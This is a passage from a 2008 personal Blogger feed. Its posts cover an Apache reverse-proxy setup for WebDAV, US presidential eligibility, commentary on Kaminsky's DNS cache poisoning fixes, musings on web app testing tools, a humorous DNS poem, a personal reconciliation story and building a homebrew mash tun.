edit.&lt;br /&gt;&lt;br /&gt;Here's the proxy setup for this host.  For the example, the exposed / Internet URL is "https://www.example.com/omnifocus/" and the internal ServerName is "https://www.example.com/" and the internal server DNS name is www.int.example.com&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# Rewrite Destination header for DAV to work&lt;br /&gt;RequestHeader edit Destination ^https://www.example.com/ominfocus/ https://www.example.com/&lt;br /&gt;&lt;br /&gt;ProxyPass /omnifocus/ https://www.int.example.com/&lt;br /&gt;ProxyPassReverseCookiePath /  /omnifocus/&lt;br /&gt;ProxyPassReverseCookieDomain .int.example.com .example.com&lt;br /&gt;&lt;br /&gt;Location&lt;br /&gt;        ProxyPassReverse https://www.int.example.com/&lt;br /&gt;        RequestHeader unset  Accept-Encoding&lt;br /&gt;        SetOutputFilter proxy-html&lt;br /&gt;        ProxyHTMLExtended On&lt;br /&gt;        ProxyHTMLURLMap / /omnifocus/&lt;br /&gt;        ProxyHTMLURLMap https://www.int.example.com/ /omnifocus/&lt;br /&gt;/Location&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(FYI, I dunno why the Location elements are not showing up correctly.  You'll have to encase the Location elements above with &lt; and &gt; )&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-8445836000454704971?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/8445836000454704971/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=8445836000454704971' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/8445836000454704971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/8445836000454704971'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2008/11/modproxy-moddav-destination-header-and.html' title='mod_proxy, mod_dav, Destination Header, and no fun'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-3652927135563491812</id><published>2008-09-04T06:59:00.005-06:00</published><updated>2008-09-04T07:17:23.683-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='2008 presidential election'/><category scheme='http://www.blogger.com/atom/ns#' term='qualification'/><category scheme='http://www.blogger.com/atom/ns#' term='abraham lincoln'/><title type='text'>Qualifications for President</title><content type='html'>So, with each campaign tossing around who is and is not qualified to be the next U.S. President, let us refer to the one and only authoritative statement on who can or cannot be president:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;No person except a natural born Citizen, or a Citizen of the United States, at the time of the Adoption of this Constitution, shall be eligible to the Office of President; neither shall any Person be eligible to that Office who shall not have attained to the Age of thirty-five Years, and been fourteen Years a Resident within the United States. -- Section 1 (paragraph 5) of Article II of the Constitution of the United States of America&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;That's it.  Everything anyone else says about required qualifications is silly.  They are only talking about what they would like to see (or what they have been told by others) in their candidate.  There are no other required qualifications for U.S. President, outside of winning the Electoral College and getting voted in by the Senate, that is.  If you think some qualification is a requirement, it isn't.  Get over it.&lt;br /&gt;&lt;br /&gt;Abraham Lincoln served a couple terms in state legislature for Illinois, one term in the U.S. House of Representatives, and was in his first term as a U.S. Senator when he ran for president.  Oh, and he was an eloquent orator.  But, by today's standards, he probably would not be labeled as not qualified, by the party he helped start.  And, his eloquent speaking would be made fun of.  Egads...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-3652927135563491812?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/3652927135563491812/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=3652927135563491812' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3652927135563491812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3652927135563491812'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2008/09/qualifications-for-president.html' title='Qualifications for President'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-1633179830603907311</id><published>2008-09-03T20:11:00.008-06:00</published><updated>2008-09-03T20:29:46.035-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dns'/><category scheme='http://www.blogger.com/atom/ns#' term='infosec'/><category scheme='http://www.blogger.com/atom/ns#' term='Dan Kaminsky'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>DNS Jabberwocky Part Two</title><content type='html'>It took basically the club of Dan Kaminsky's last &lt;a href="http://www.doxpara.com/?p=1237"&gt;posting&lt;/a&gt; to finally clue me in to the severity and arms race present in the DNS cache poisoning attacks.  I dunno if it was apathy towards the previous attacks that left me numb to the recent attack.  Sure, it was nasty.  But, see, Dan's a nice guy and he alerted those in the loop to the issue.  So, see, everything got patched and we can walk away all warm and happy that the tubes won't melt down.&lt;br /&gt;&lt;br /&gt;I even took part in the &lt;a href="http://blog.cykyc.org/2008/07/dns-jabberwocky.html"&gt;armchair criticism&lt;/a&gt; about Dan's 30 day moratorium on publicizing the issue.  I still do think (albeit rightfully deserved) that the moratorium would help drive people to Black Hat and give Dan publicity that my cynical mind would translate to dollars (or euro, pounds, yen, blah) at some point.  And with this apathy and cynicism in hand, I criticized in public and private on the actual impact of this issue.  Chicken and egg; everyone that was anyone should have been patched, so there's no issue.&lt;br /&gt;&lt;br /&gt;Except, there &lt;span style="font-style: italic;"&gt;is&lt;/span&gt;...&lt;br /&gt;&lt;br /&gt;What I failed to appreciate and now appreciate in full view is that Dan firstly saw the issue for what is was and secondly that source port randomization (SPR) is only a (currently) effective kludge.  But, in basic form, it just changed a problem from a (2^16)/2 problem to at best a  (2^48)/2 problem.  The rub is, we still think in colloquial terms of a single host on a cable modem or DSL line perpetrating the attack.  2^47 packets is a lot to generate on one host; 2^16 isn't.  Also, with spam, phishers and botnet herders working with their own economies of scale and resources, there's gold in dem there DNS cache hills.  Take a bit over 100,000 hosts on a botnet and you reduce 2^47 now to 2^27.  2^27 isn't as good as 2^16, but it's pretty good.  The attacks would seem to occur now in minutes and hours versus seconds and minutes.  There is no patch; there just is a time trade-off and an arms race.&lt;br /&gt;&lt;br /&gt;Dan put forth the currently debated fixes in his recent post.  I won't be able to do them justice, so please just read about them on his post.  He presented these four remedies:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;DNSSEC&lt;/li&gt;&lt;li&gt;Layered Point Fixes&lt;/li&gt;&lt;li&gt;Attack Mode&lt;/li&gt;&lt;li&gt;Case Sensitive DNS Responses&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;He also touched on the "&lt;a href="http://marc.info/?t=121981071400003"&gt;one character fix&lt;/a&gt;", but discredits its merit.  Again, read his &lt;a href="http://www.doxpara.com/?p=1234"&gt;rebuttal&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;What struck me about all of these, though, is that they are all implementation fixes (for the most part) versus design fixes.  As in design fixes, DNSSEC was a design fix, but it's been distributed and available for a while.  So, that puts it squarely into the implementation category.  I concur with Dan; PKI is a hard implementation problems when scaling.  I currently support a PKI infrastructure with about five servers and workstations and three individuals.  That's easy.  But, my PKI infrastructure doesn't scale, either.  I couldn't imagine PKI amongst all of the DNS infrastructure.  Heck, we don't even have it working for the web (think self-signed certs and expired certs).&lt;br /&gt;&lt;br /&gt;The other remedies are also implementation fixes.  Attack mode requires TCP.  And, I apologize to Dan and all of the other DNS engineers out there by being one of security consultants that said to only enable 53/udp outbound.  Yeah, I suck :-/&lt;br /&gt;&lt;br /&gt;Dan seems to support the debouncing framework described in the Attack Mode section.  Case Sensitive almost works for everything, but where it doesn't work, there are issues. (ibm.com wouldn't be happy to be left out in the cold.)  So, there are no perfect solutions...&lt;br /&gt;&lt;br /&gt;Or are there?&lt;br /&gt;&lt;br /&gt;Since I'm not a DNS engineer, do not have to manage the authoritative servers under my technical control, nor actually have spent time reading the lists, I think I'm perfectly entitled to armchair quarterback for one more rush :-)  Why can't we bump the DNS version number, increase the TXID / QID by some mathematically-sound value, patch, and call it a day?  If the query doesn't ask for the new version, we stay w/ SPR.  If it does, we send out a larger TXID.  The patch would include some new header definitions, conditional statements, and possibly cause some interaction issues with any proxies that don't like the new sizes.  But, seeing that Dan was able to promote +70% patch implementation in less than a month, I don't see my naive request being too naive.  Let's say out of those 70% "early adopters", 50% are able to adopt the patch in 90 days, that's 35% of the DNS infrastructure that will not mathematically succumb to any attacks in the foreseeable future.  Do we think we can implement DNSSEC across 1/3 of the DNS  infrastructure in 90 days?  Am I missing something here?&lt;br /&gt;&lt;br /&gt;Maybe...&lt;br /&gt;&lt;br /&gt;Dan had this very thoughtful statement at the bottom:&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;Not impossible, but not the sort of thing 16 engineers in a room could pragmatically hope to accomplish.&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-1633179830603907311?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/1633179830603907311/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=1633179830603907311' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/1633179830603907311'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/1633179830603907311'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2008/09/dns-jabberwocky-part-two.html' title='DNS Jabberwocky Part Two'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-745176606455953349</id><published>2008-07-28T19:17:00.004-06:00</published><updated>2008-07-28T21:14:03.899-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='twitter'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='web application testing'/><category scheme='http://www.blogger.com/atom/ns#' term='inductive reasoning'/><title type='text'>How Do Humans Stop Being Tools?</title><content type='html'>(Yes, double entendre w/ the subject)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Inductive_reasoning"&gt;Inductive reasoning&lt;/a&gt;:&lt;br /&gt;&lt;blockquote&gt;Induction or inductive reasoning, sometimes called inductive logic, is the process of reasoning in which the premises of an argument are believed to support the conclusion but do not entail it; i.e. they do not ensure its truth. Induction is a form of reasoning that makes generalizations based on individual instances.&lt;/blockquote&gt;Here is simple inductive reasoning applied.  Given some app:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Authenticating to the app by entering valid credentials results in some X that is the same&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Authenticating to the app by entering invalid credentials results in some X' that is noticeably  different than the other set of X before&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Therefore, if I guess credentials and receive X, I have authenticated to the app; vice-versa, I haven't&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;But, how does one "noticebly" measure the differences between X and X' to determine they are too different to be the same?  This is what I want in a web application testing tool.  This is also why humans still rule the world (and security market).  I assume it's hard to automate such testing (not just the example above), excluding one-off scripts written for a single application, otherwise it would have been a commodity a while time ago.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://groups.google.com/group/twitter-development-talk/browse_thread/thread/656f9efd51b47de1/5b4763b8120ac292?show_docid=5b4763b8120ac292"&gt;Here's&lt;/a&gt; another example.  Assuming the first vulnerability can be exploited via a CSRF, the results leak information that can be used possibly for another attack (if also a XSS attack existed in the CSRF attack).  If the tool understood the API call and also understood that the "authenticity" token was related to authentication, it would at least have a chance.&lt;br /&gt;&lt;br /&gt;How do we move tools away from exercises in combinatorics and more towards inductive reasoning?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-745176606455953349?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/745176606455953349/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=745176606455953349' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/745176606455953349'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/745176606455953349'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2008/07/how-do-humans-stop-being-tools.html' title='How Do Humans Stop Being Tools?'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-8985752999508724521</id><published>2008-07-23T21:34:00.005-06:00</published><updated>2008-07-23T23:11:06.700-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='jabberwocky'/><category scheme='http://www.blogger.com/atom/ns#' term='dns'/><category scheme='http://www.blogger.com/atom/ns#' term='humor'/><category scheme='http://www.blogger.com/atom/ns#' term='bind'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='stupidity'/><title type='text'>DNS Jabberwocky</title><content type='html'>(In the spirit of &lt;a href="http://twitter.com/beaker"&gt;@Beaker &lt;/a&gt;and his wonderful &lt;a href="http://rationalsecurity.typepad.com/blog/2008/07/the-dns-debacle.html"&gt;DNS debacle poem&lt;/a&gt;, I offer this weak attempt at humor as a retort.)&lt;br /&gt;&lt;br /&gt;The tubes have not suffered,&lt;br /&gt;Or fallen, or swayed,&lt;br /&gt;In light of nasty severity,&lt;br /&gt;In how queries behaved.&lt;br /&gt;&lt;br /&gt;Our egos, myself included,&lt;br /&gt;Got our panties in a BIND,&lt;br /&gt;On just another issue,&lt;br /&gt;Affecting the Internet over time.&lt;br /&gt;&lt;br /&gt;Mistakes have been made,&lt;br /&gt;With all parties involved.&lt;br /&gt;The Finder, the Knowers,&lt;br /&gt;The Voyeurs and The Crowd.&lt;br /&gt;&lt;br /&gt;First, with the Finder,&lt;br /&gt;An honorable man, to be sure.&lt;br /&gt;He should be proud with his find,&lt;br /&gt;'Cause with it, security will ensure.&lt;br /&gt;&lt;br /&gt;Though, he must be Steve Jobs,&lt;br /&gt;Because of all the blogs and emails,&lt;br /&gt;Created by his disclosure,&lt;br /&gt;And then his purposeful lack of details.&lt;br /&gt;&lt;br /&gt;A coincidence it not, though, be,&lt;br /&gt;That 30 days of intermission,&lt;br /&gt;Ends up more to his profit,&lt;br /&gt;Versus a disclosure based on altruism&lt;br /&gt;&lt;br /&gt;Then to correct, or to assuage,&lt;br /&gt;The boos, the chaos, and the melee,&lt;br /&gt;Please enter the Knowers,&lt;br /&gt;One being a white sapote.&lt;br /&gt;&lt;br /&gt;Now, with the Vendors, the Finders,&lt;br /&gt;And the Knowers saying it was not pretty.&lt;br /&gt;That made it said thrice,&lt;br /&gt;Which most certainly made it be.&lt;br /&gt;&lt;br /&gt;And then comes along&lt;br /&gt;A Voyeur to the scene.&lt;br /&gt;He made it known his thoughts&lt;br /&gt;Which now makes it a 13-day.&lt;br /&gt;&lt;br /&gt;But, a Knower leaked a bit,&lt;br /&gt;His ego then put on display.&lt;br /&gt;For a blog posting was already in tow,&lt;br /&gt;More than a fortnight from disclosure day.&lt;br /&gt;&lt;br /&gt;Back now to the other Voyeurs,&lt;br /&gt;Which I am a part&lt;br /&gt;The details we wanted to know&lt;br /&gt;Deep down in our blackhat heart.&lt;br /&gt;&lt;br /&gt;We are the same as race car fans,&lt;br /&gt;Waiting for a crash&lt;br /&gt;Instead of shock and horror,&lt;br /&gt;We awe at the chaos and the flash.&lt;br /&gt;&lt;br /&gt;Our egos are probably the worst,&lt;br /&gt;For we are the partners to the dance.&lt;br /&gt;It takes two to tango,&lt;br /&gt;For this was not happenstance.&lt;br /&gt;&lt;br /&gt;And in the wake and carnage,&lt;br /&gt;Of the slayed DNS Jabberwocky&lt;br /&gt;We hear from the Crowds&lt;br /&gt;That this still is all sucky.&lt;br /&gt;&lt;br /&gt;"Collateral damage be damned"&lt;br /&gt;Quoth a noble Crowd ace.&lt;br /&gt;But, truly, people now,&lt;br /&gt;Let us not forgot our place.&lt;br /&gt;&lt;br /&gt;Collateral damage, is usually&lt;br /&gt;Measured in loss of life, home, or land&lt;br /&gt;Only our caches will be poisoned&lt;br /&gt;Which compared to other suffering, really isn't grand.&lt;br /&gt;&lt;br /&gt;Sure, some may get rick-rolled,&lt;br /&gt;Or worst and be pwned.&lt;br /&gt;But take this with a grain of salt.&lt;br /&gt;In the end, we'll still have our iPhone.&lt;br /&gt;&lt;br /&gt;So let us all sit together,&lt;br /&gt;Under the Tumtum tree&lt;br /&gt;And chortle at what will be&lt;br /&gt;The 2008 DNS Jabberwocky.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-8985752999508724521?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/8985752999508724521/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=8985752999508724521' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/8985752999508724521'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/8985752999508724521'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2008/07/dns-jabberwocky.html' title='DNS Jabberwocky'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-4745147442363045940</id><published>2008-04-26T09:59:00.005-06:00</published><updated>2008-04-26T10:46:20.490-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='beer'/><category scheme='http://www.blogger.com/atom/ns#' term='rage'/><category scheme='http://www.blogger.com/atom/ns#' term='humanity'/><category scheme='http://www.blogger.com/atom/ns#' term='faith'/><category scheme='http://www.blogger.com/atom/ns#' term='arborfest'/><title type='text'>Unexpected Consequences</title><content type='html'>&lt;blockquote&gt;Charity suffereth long, and is kind; charity envieth not; charity vaunteth not itself, is not puffed up, doth not behave itself unseemly, seeketh not her own, is not easily provoked, thinketh no evil - 1 Corinthians 13:4-5, KJV&lt;br /&gt;&lt;/blockquote&gt;Last night, I enjoyed much merriment at &lt;a href="http://www.familytreeclinic.org/arborfest/"&gt;Arborfest&lt;/a&gt; in St. Paul.  Wonderful beer was for sample, with so-so music and catering.  I enjoyed at least a dozen sample glasses, sampling ten unique brews.  Definitely a high mark in my new beer enjoyment expedition.  And, soon, my &lt;a href="http://www.ratebeer.com/View-User-68621.htm"&gt;RateBeer entries&lt;/a&gt; will detail for one and all my enjoyments.  Last night, though, was also a reunion of sorts.&lt;br /&gt;&lt;br /&gt;When I first met my love, I was a roommate of a geek I met about a decade ago at a 2600 meeting in Minneapolis.  I moved in with him at an apartment in SE Mpls and then into his house in a northern Twin Cities suburb.  Around this time was when I came out to one and all.  And, around this time is when I met who would become my hubby, Adam.  If we were all described as animals, Adam would be a Bird of Paradise.  He is unique in appearance and also his heart.  I, of course, fell for him immediately.&lt;br /&gt;&lt;br /&gt;He stopped by one night at the roommate's house and we spent some time just chillin', if memory serves.  As I went to bed by myself that night at the house, I could hear the owner talking things over with another roommate in the kitchen.  The kitchen's air vent was also the same run as the vent in my room, so I could hear quite well all of the conversation.  They started to degrade Adam for his appearance and persona.  Their cavorting behind my back, but into my ears, lit a rage I never have felt in my life.  I created fists so tight that my nails broke the skin.  I cried.  I hurt.  And, I wanted to destroy.&lt;br /&gt;&lt;br /&gt;I don't think my former roommate realized how close I was in destroying him, the other roommate, and if needed, myself that night.  It was the first and only time I truly considered and accepted murdering another human.&lt;br /&gt;&lt;br /&gt;I wanted so to destroy, but I wept.  Eventually, I slept.  I started moving out the next day.&lt;br /&gt;&lt;br /&gt;I met this roommate last night at Arborfest, all by chance.  Time has a way to heal, change, and age us, sometimes profound and sometimes unnoticeable.  We greeted each other amicably enough.  I more or less thought about how I could leave the situation.  But, charity was at play.  He apologized for his actions without my asking, moments after the informal greeting concluded.&lt;br /&gt;&lt;br /&gt;And, in that moment, the rage, hatred, fear, and anger left me.  I accepted and appreciated his apology.  We got caught up with our lives.  We talked and drank, and it was good.&lt;br /&gt;&lt;br /&gt;I forgive him for his trespasses, and I hope he can forgive me for mine.  When others ask me how to describe my religion or faith, I try to best describe myself as an atheist that has faith in man.  I believe in mankind and the good that we can do.  I also understand the evils that stir in our hearts and what each and every one of us is capable of.  But, my faith is that over time, we progress towards what is good versus what can consume us as evil.  And, last night, my faith received renewal.&lt;br /&gt;&lt;br /&gt;Na zdrowie&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-4745147442363045940?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/4745147442363045940/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=4745147442363045940' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/4745147442363045940'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/4745147442363045940'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2008/04/unexpected-consequences.html' title='Unexpected Consequences'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-1688934726615570790</id><published>2008-04-19T18:48:00.004-06:00</published><updated>2008-04-19T19:47:03.110-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='homebrew'/><category scheme='http://www.blogger.com/atom/ns#' term='beer'/><category scheme='http://www.blogger.com/atom/ns#' term='mlt'/><category scheme='http://www.blogger.com/atom/ns#' term='mash-lauter tun'/><title type='text'>MLT Day 1</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_Ag2GsPPoUVg/SAqfIt_bsvI/AAAAAAAAAAs/KRqrsMS2KfY/s1600-h/IMG_0309.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 90px; height: 120px;" src="http://bp1.blogger.com/_Ag2GsPPoUVg/SAqfIt_bsvI/AAAAAAAAAAs/KRqrsMS2KfY/s320/IMG_0309.jpg" alt="" id="BLOGGER_PHOTO_ID_5191136492631339762" border="0" /&gt;&lt;/a&gt;Progress! (inside joke for those that say &lt;a href="http://www.southerntheater.org/2008_04_live_action_set.htm"&gt;The Piano Tuner&lt;/a&gt;).  Seriously, though, I did start to slay the beast called Homebrew.&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;I got the spigot and accessories on  after my all day extravaganza with one &lt;a href="http://blog.cykyc.org/2008/04/let-me-tell-you-about-ss-fender-washers.html"&gt;fucking washer&lt;/a&gt;.  I then was able to size and cut the copper tubing.  But, I did have to make one more run to Home Depot....&lt;br /&gt;&lt;br /&gt;The tube bender I purchased was the incorrect tool to try and, um, cut corners with.  Originally, &lt;a href="http://brewing.lustreking.com/gear/mashtun.html"&gt;the&lt;/a&gt; &lt;a href="http://www.homebrewtalk.com/wiki/index.php/Converting_a_cooler_to_a_mash_tun"&gt;specs&lt;/a&gt; called for four 90 degree fittings.  I had problems finding them at Home Depot and instead of asking, just left.  I went to Ace Hardware and couldn't find them, either.  But, I did find a nice tube bender by GB Electrical.  It definitely was much more than the four corner fitters were.&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_Ag2GsPPoUVg/SAqgAd_bswI/AAAAAAAAAA0/dqzojOInsLM/s1600-h/IMG_0308.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 103px; height: 139px;" src="http://bp0.blogger.com/_Ag2GsPPoUVg/SAqgAd_bswI/AAAAAAAAAA0/dqzojOInsLM/s320/IMG_0308.jpg" alt="" id="BLOGGER_PHOTO_ID_5191137450409046786" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I made a decent 90 degree bend, still containing optimism.  But, that crashed after I tried to do an opposite 90 degree bend (imagine a "U").  And then, the tube kinked.  I tried this again, and again kinked a good piece of tube.  Realizing my failure, and since I needed to go to Home Depot anyway, I went looking for the fittings.  I found them in like 1 minute...  So, more stuff to return to Ace.&lt;br /&gt;&lt;br /&gt;The reason I knew I had to go back to Home Depot was that the spigot fitting had a very, very minor leak.  It was slightly moist to the touch.  I applied some kitchen caulk to it, hoping that will take care of things.  I'm thinking that if it does leak again, I'll get the newer  70 qt Coleman Xtreme cooler.  The Xtreme cooler looks like it has a nice recess and lower fitting than my cooler.&lt;br /&gt;&lt;br /&gt;To see more pics and updates, head on over to the &lt;a href="http://www.flickr.com/photos/cykyc/sets/72157604631101125/"&gt;Homebrew&lt;/a&gt; set.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-1688934726615570790?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/1688934726615570790/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=1688934726615570790' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/1688934726615570790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/1688934726615570790'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2008/04/mlt-day-1.html' title='MLT Day 1'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_Ag2GsPPoUVg/SAqfIt_bsvI/AAAAAAAAAAs/KRqrsMS2KfY/s72-c/IMG_0309.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-8574982379042674103</id><published>2008-04-19T15:01:00.003-06:00</published><updated>2008-04-19T19:29:04.866-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='homebrew'/><category scheme='http://www.blogger.com/atom/ns#' term='beer'/><category scheme='http://www.blogger.com/atom/ns#' term='mlt'/><category scheme='http://www.blogger.com/atom/ns#' term='mash-lauter tun'/><title type='text'>Let Me Tell You About S/S Fender Washers...</title><content type='html'>Yeah, I'm very knowledgeable about fender washers than any normal layman has to be, now.  In a previous &lt;a href="http://blog.cykyc.org/2008/04/beer-brewing-part-1.html"&gt;post&lt;/a&gt;, I decided to use someone else's method to convert my Coleman cooler into a mash-lauter tun (MLT).  Between Ace Hardware and Home Depot, I was able to get a lot of the raw materials and then some.  But, neither spot had the single, stainless steal 3/4" fender washer that the steps called for.  And, since I knew this was for the side that was going to be dealing with the mash, I didn't want rust or anything unusual to happen.  So, we start the quest for a 3/4" S/S fender washer...&lt;br /&gt;&lt;br /&gt;There's a spot near here called &lt;a href="http://www.beisswengers.com/"&gt;Beisswenger's&lt;/a&gt; in New Brighton.  They, like Ace, carry the same type of fasteners.  I also looked into &lt;a href="http://www.fastenal.com/"&gt;Fastenal&lt;/a&gt;, but unfortunately, I did not plan well.  They're mostly only open Monday-Friday.  Being today is Saturday and today I shall conquer this damn MLT, I found at Beisswenger's S/S fenders.  Unfortunately, they only carried up to 1/2" size.  Well, shucks, how hard can it be to bore it out to 3/4", eh?!&lt;br /&gt;&lt;br /&gt;FUCKING HARD!&lt;br /&gt;&lt;br /&gt;I spent about 3 hours today (not including the many prior minutes to hours driving around and trying to source the damn thing) boring out this washer to 3/4".  I really don't have a &lt;a 